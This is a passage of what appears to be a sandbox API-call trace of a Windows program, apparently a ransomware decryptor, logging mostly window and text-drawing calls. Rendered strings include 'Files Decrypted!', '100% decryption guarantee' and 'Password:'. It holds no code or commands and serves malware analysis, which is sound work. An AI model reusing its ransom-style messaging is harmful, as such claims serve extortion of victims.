lpdtp=0x30625a8 | out: lpchText="Close Decryptor", lprc=0x19e25c) returned 60 [0170.885] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0170.885] GdipGetClip (graphics=0x6923518, region=0x69207c0) returned 0x0 [0170.885] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0170.885] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6915f08) returned 0x0 [0170.885] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e2fc) returned 0x0 [0170.885] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0170.885] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0170.885] LocalFree (hMem=0xf75be8) returned 0x0 [0170.885] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0170.885] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0170.885] LocalFree (hMem=0xf75c20) returned 0x0 [0170.885] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0170.885] GdipIsInfiniteRegion (region=0x69207c0, graphics=0x6923518, result=0x19e324) returned 0x0 [0170.885] GdipIsInfiniteRegion (region=0x69207c0, graphics=0x6923518, result=0x19e314) returned 0x0 [0170.885] GdipGetRegionHRgn (region=0x69207c0, graphics=0x6923518, hRgn=0x19e314) returned 0x0 [0170.886] GdipDeleteRegion (region=0x69207c0) returned 0x0 [0170.886] GdipGetDC (graphics=0x6923518, hdc=0x19e32c) returned 0x0 [0170.886] GetCurrentObject (hdc=0x13010742, type=0x1) returned 0xb00017 [0170.886] GetCurrentObject (hdc=0x13010742, type=0x2) returned 0x900010 [0170.886] GetCurrentObject (hdc=0x13010742, type=0x7) returned 0x8050721 [0170.886] GetCurrentObject (hdc=0x13010742, type=0x6) returned 0x8a01c2 [0170.886] SaveDC (hdc=0x13010742) returned 1 [0170.886] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xee0406fe [0170.886] GetClipRgn (hdc=0x13010742, hrgn=0xee0406fe) returned 0 [0170.886] SelectClipRgn (hdc=0x13010742, hrgn=0x2a04070e) returned 2 [0170.886] DeleteObject (ho=0xee0406fe) returned 1 [0170.886] DeleteObject (ho=0x2a04070e) returned 1 [0170.886] OffsetViewportOrgEx (in: hdc=0x13010742, x=0, y=0, lppt=0x3062798 | out: lppt=0x3062798) returned 1 [0170.886] GetNearestColor (hdc=0x13010742, color=0x3c3f3d) returned 0x3c3f3d [0170.886] CreateSolidBrush (color=0x3c3f3d) returned 0x3810073a [0170.886] FillRect (hDC=0x13010742, lprc=0x19e330, hbr=0x3810073a) returned 1 [0170.886] DeleteObject (ho=0x3810073a) returned 1 [0170.886] RestoreDC (hdc=0x13010742, nSavedDC=-1) returned 1 [0170.886] GdipReleaseDC (graphics=0x6923518, hdc=0x13010742) returned 0x0 [0170.886] GdipGetTextRenderingHint (graphics=0x6923518, mode=0x19e3a8) returned 0x0 [0170.886] GdipGetDC (graphics=0x6923518, hdc=0x19e394) returned 0x0 [0170.887] GetCurrentObject (hdc=0x13010742, type=0x1) returned 0xb00017 [0170.887] GetCurrentObject (hdc=0x13010742, type=0x2) returned 0x900010 [0170.887] GetCurrentObject (hdc=0x13010742, type=0x7) returned 0x8050721 [0170.887] GetCurrentObject (hdc=0x13010742, type=0x6) returned 0x8a01c2 [0170.887] SaveDC (hdc=0x13010742) returned 1 [0170.887] GetTextAlign (hdc=0x13010742) returned 0x0 [0170.887] GetTextColor (hdc=0x13010742) returned 0x0 [0170.887] SetTextColor (hdc=0x13010742, color=0x6994f5) returned 0x0 [0170.887] GetCurrentObject (hdc=0x13010742, type=0x6) returned 0x8a01c2 [0170.887] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0170.887] SelectObject (hdc=0x13010742, h=0x110a0722) returned 0x8a01c2 [0170.887] GetBkMode (hdc=0x13010742) returned 2 [0170.887] SetBkMode (hdc=0x13010742, mode=1) returned 2 [0170.887] DrawTextExW (in: hdc=0x13010742, lpchText="Close Decryptor", cchText=15, lprc=0x19e1c4, format=0x102415, lpdtp=0x3062a54 | out: lpchText="Close Decryptor", lprc=0x19e1c4) returned 60 [0170.887] DrawTextExW (in: hdc=0x13010742, lpchText="Close Decryptor", cchText=15, lprc=0x19e328, format=0x102015, lpdtp=0x3062a54 | out: lpchText="Close Decryptor", lprc=0x19e328) returned 60 [0170.888] RestoreDC (hdc=0x13010742, nSavedDC=-1) returned 1 [0170.888] GdipReleaseDC (graphics=0x6923518, hdc=0x13010742) returned 0x0 [0170.888] GetFocus () returned 0x30212 [0170.888] GetFocus () returned 0x30212 [0170.888] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0170.888] GdipDrawRectangleI (graphics=0x6923518, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0170.888] GdipDeletePen (pen=0x6915e78) returned 0x0 [0170.888] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0170.888] GdipDrawRectangleI (graphics=0x6923518, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0170.888] GdipDeletePen (pen=0x6915e78) returned 0x0 [0170.888] GdipGetDC (graphics=0x6923518, hdc=0x19e5b0) returned 0x0 [0170.888] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0x13010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.889] GdipReleaseDC (graphics=0x6923518, hdc=0x13010742) returned 0x0 [0170.889] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0170.889] SelectObject (hdc=0x13010742, h=0x85000f) returned 0x8050721 [0170.889] DeleteDC (hdc=0x13010742) returned 1 [0170.889] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0170.889] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0170.889] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3062ad8, cPoints=0x1 | out: lpPoints=0x3062ad8) returned 36176186 [0170.889] WindowFromPoint (Point=0x172) returned 0x30212 [0170.889] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24b0172) returned 0x1 [0170.889] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0170.889] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0170.889] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0170.890] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.890] AdjustWindowRectEx (in: lpRect=0x19e91c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19e91c) returned 1 [0170.891] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.891] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0170.891] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.891] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0170.891] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.891] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0170.891] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.892] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0170.892] GetDC (hWnd=0x0) returned 0x1e0106e1 [0170.892] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e340) returned 0x0 [0170.892] GdipGetFontHeight (font=0x57fef48, graphics=0x6923518, height=0x19e338) returned 0x0 [0170.892] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0170.893] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0170.893] GetSystemMetrics (nIndex=5) returned 1 [0170.893] GetSystemMetrics (nIndex=6) returned 1 [0170.893] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.893] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0170.893] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.893] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0170.893] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.893] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e468) returned 1 [0170.894] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.894] AdjustWindowRectEx (in: lpRect=0x19e470, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e470) returned 1 [0170.894] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.894] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0170.894] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.894] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0170.895] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.895] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0170.895] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0170.895] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x306440c) returned 0x0 [0170.895] GdipGetFontSize (font=0x691c9a0, size=0x3064410) returned 0x0 [0170.895] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.895] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.895] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.895] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.895] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0170.896] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x3064680) returned 0x0 [0170.896] GdipGetFontSize (font=0x691c9c8, size=0x3064684) returned 0x0 [0170.896] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.896] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.896] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.897] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.897] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0170.897] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3064924) returned 0x0 [0170.897] GdipGetFontSize (font=0x691c518, size=0x3064928) returned 0x0 [0170.897] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.897] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.897] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.898] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.898] IsAppThemed () returned 0x1 [0170.898] GetThemeAppProperties () returned 0x3 [0170.898] GetThemeAppProperties () returned 0x3 [0170.898] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.898] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.898] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.898] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.898] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0170.898] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x3064e94) returned 0x0 [0170.898] GdipGetFontSize (font=0x691c540, size=0x3064e98) returned 0x0 [0170.899] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.899] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.899] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.899] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.899] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0170.899] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x3065164) returned 0x0 [0170.899] GdipGetFontSize (font=0x691c5e0, size=0x3065168) returned 0x0 [0170.899] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.899] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0170.900] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.900] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0170.947] GdipLoadImageFromStream (stream=0x2a2fe90, image=0x19de80) returned 0x0 [0170.948] GdipImageForceValidation (image=0x6923518) returned 0x0 [0170.948] GdipGetImageType (image=0x6923518, type=0x19de7c) returned 0x0 [0170.948] GdipGetImageRawFormat (image=0x6923518, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0170.948] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.948] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0170.949] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.949] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0170.949] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0170.949] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x306a638) returned 0x0 [0170.949] GdipGetFontSize (font=0x691c658, size=0x306a63c) returned 0x0 [0170.949] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.949] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.949] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.950] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0170.950] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.950] AdjustWindowRectEx (in: lpRect=0x19e418, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e418) returned 1 [0170.950] GetSystemMetrics (nIndex=59) returned 1460 [0170.950] GetSystemMetrics (nIndex=60) returned 920 [0170.950] GetSystemMetrics (nIndex=34) returned 136 [0170.950] GetSystemMetrics (nIndex=35) returned 39 [0170.950] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.950] AdjustWindowRectEx (in: lpRect=0x19e318, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e318) returned 1 [0170.950] GetCurrentThreadId () returned 0x390 [0170.950] GetCurrentThreadId () returned 0x390 [0170.950] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.950] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0170.951] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0170.951] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x306a97c | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0170.951] GetCurrentThreadId () returned 0x390 [0170.951] GetCurrentThreadId () returned 0x390 [0170.951] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.951] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0170.951] DrawTextExW (in: hdc=0x8e0106dd, lpchText="No files decrypted!", cchText=19, lprc=0x19e200, format=0x2400, lpdtp=0x306aabc | out: lpchText="No files decrypted!", lprc=0x19e200) returned 39 [0170.951] GetCurrentThreadId () returned 0x390 [0170.951] GetCurrentThreadId () returned 0x390 [0170.951] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.952] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0170.952] SelectObject (hdc=0x8e0106dd, h=0xa0a0724) returned 0x210a0725 [0170.952] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x306ac14 | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.952] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0170.952] SelectObject (hdc=0x8e0106dd, h=0xb0a0728) returned 0xa0a0724 [0170.952] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x306aed8 | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetCurrentThreadId () returned 0x390 [0170.952] GetCurrentThreadId () returned 0x390 [0170.953] GetCurrentThreadId () returned 0x390 [0170.953] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.953] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0170.953] SelectObject (hdc=0x8e0106dd, h=0x240a0712) returned 0xb0a0728 [0170.953] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x306b10c | out: lpchText="Password:", lprc=0x19e200) returned 63 [0170.953] GetCurrentThreadId () returned 0x390 [0170.953] GetCurrentThreadId () returned 0x390 [0170.953] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0170.953] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x306b3e0) returned 0x0 [0170.953] GdipGetFontSize (font=0x691c630, size=0x306b3e4) returned 0x0 [0170.953] CreateCompatibleDC (hdc=0x0) returned 0x15010742 [0170.953] GetDC (hWnd=0x0) returned 0x1e0106e1 [0170.954] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e22c) returned 0x0 [0170.986] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0170.986] GdipGetLogFontW (font=0x691c630, graphics=0x6924e88, logfontW=0xeead48) returned 0x0 [0170.986] CoTaskMemFree (pv=0xeead48) [0170.986] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0170.987] CoTaskMemFree (pv=0xeeaba8) [0170.987] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0170.987] CoTaskMemFree (pv=0xeeb228) [0170.987] GdipDeleteGraphics (graphics=0x6924e88) returned 0x0 [0170.987] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0170.987] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0170.987] CreateFontIndirectW (lplf=0xeeac10) returned 0x390a0741 [0170.987] CoTaskMemFree (pv=0xeeac10) [0170.987] SelectObject (hdc=0x15010742, h=0x390a0741) returned 0x8a01c2 [0170.987] GetTextMetricsW (in: hdc=0x15010742, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0170.987] GetTextExtentPoint32W (in: hdc=0x15010742, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x306b92c | out: psizl=0x306b92c) returned 1 [0170.988] SelectObject (hdc=0x15010742, h=0x8a01c2) returned 0x390a0741 [0170.988] DeleteDC (hdc=0x15010742) returned 1 [0170.988] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.988] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.989] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.989] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.989] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.989] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0170.989] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.989] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.990] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.990] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.990] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.990] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0170.990] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.991] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.991] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.991] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.991] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.991] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0170.991] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.992] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.992] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.992] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.992] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.992] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0170.993] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.993] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0170.993] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.993] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.993] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.993] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.994] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.994] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0170.994] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.994] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.994] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.994] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.995] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.995] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.995] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.995] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.995] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.995] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0170.996] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.996] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0170.996] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.996] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0170.996] DeleteObject (ho=0x390a0741) returned 1 [0170.996] GetDC (hWnd=0x0) returned 0x1e0106e1 [0170.996] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e2e0) returned 0x0 [0170.997] GdipGetFontHeight (font=0x691c630, graphics=0x6924e88, height=0x19e2d8) returned 0x0 [0170.997] GdipDeleteGraphics (graphics=0x6924e88) returned 0x0 [0170.997] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0170.997] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.997] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0170.997] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.998] AdjustWindowRectEx (in: 